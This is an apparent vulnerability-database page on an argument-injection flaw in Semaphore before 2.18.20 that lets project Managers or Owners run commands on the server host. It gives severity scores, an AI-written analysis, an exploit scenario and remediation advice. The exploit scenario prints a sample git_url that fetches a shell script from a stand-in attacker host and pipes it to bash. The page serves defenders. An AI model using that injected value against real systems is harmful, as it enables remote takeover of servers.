EUVD-2026-58809
GHSA-93jq-5gw9-rx3q
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-exploitable via low-privilege project role (PR:L); OS-level command injection escapes the application boundary to the host, warranting S:C with full C/I/A impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
Semaphore versions prior to 2.18.20 contain an OS command injection (argument injection) vulnerability in the repository git_url handling that allows authenticated users holding the Manager or Owner role on any project to achieve remote code execution on the Semaphore server host. Attackers can craft a malicious git_url value using git's --upload-pack= option to inject and execute arbitrary shell commands when the server processes repository operations using the default cmd_git client.
AnalysisAI
Remote code execution in Semaphore prior to version 2.18.20 allows authenticated project Managers and Owners to execute arbitrary shell commands on the Semaphore server host by injecting git arguments through a crafted repository git_url value. The root cause (CWE-88, Argument Injection) lies in the default cmd_git client passing user-supplied input unsanitized to the system git binary, enabling exploitation via git's --upload-pack= option to specify an arbitrary server-side command. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must be authenticated to Semaphore and hold the Manager or Owner role on at least one project - the standard Member role is insufficient to modify repository git_url values. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score of 8.7 (AV:N/AC:L/AT:N/PR:L) correctly characterizes a high-severity, network-exploitable vulnerability gated solely by possession of a Manager or Owner role on any project - a condition common in multi-user team deployments. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker holding the Manager or Owner role on any Semaphore project edits or creates a repository entry and sets the git_url field to a value such as --upload-pack=curl${IFS}attacker.example/shell.sh|bash. When Semaphore's backend triggers a git fetch or clone operation against that repository - whether manually initiated or scheduled - the cmd_git client passes the injected argument verbatim to the system git binary, which executes the embedded shell command under the Semaphore server process's OS account. … |
| Remediation | Upgrade Semaphore to version 2.18.20 or later, which incorporates the fix at commit 5d87656a680600125fe78edec1f7a0d10484b52c; full details are in the vendor advisory at https://github.com/semaphoreui/semaphore/security/advisories/GHSA-xp7j-h7jc-4w8p. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory all Semaphore instances and document which run versions prior to 2.18.20, along with a complete list of users holding project Manager or Owner roles. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Argument (git option) injection in Semaphore UI before 2.18.17 and 2.19.5-beta2 lets a project Manager or Owner achieve
Privilege escalation in Semaphore UI allows an authenticated project manager to gain owner-level project control by expl
Password takeover in Semaphore UI prior to version 2.18.21 enables an unauthenticated attacker to reset any authenticate
Same technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today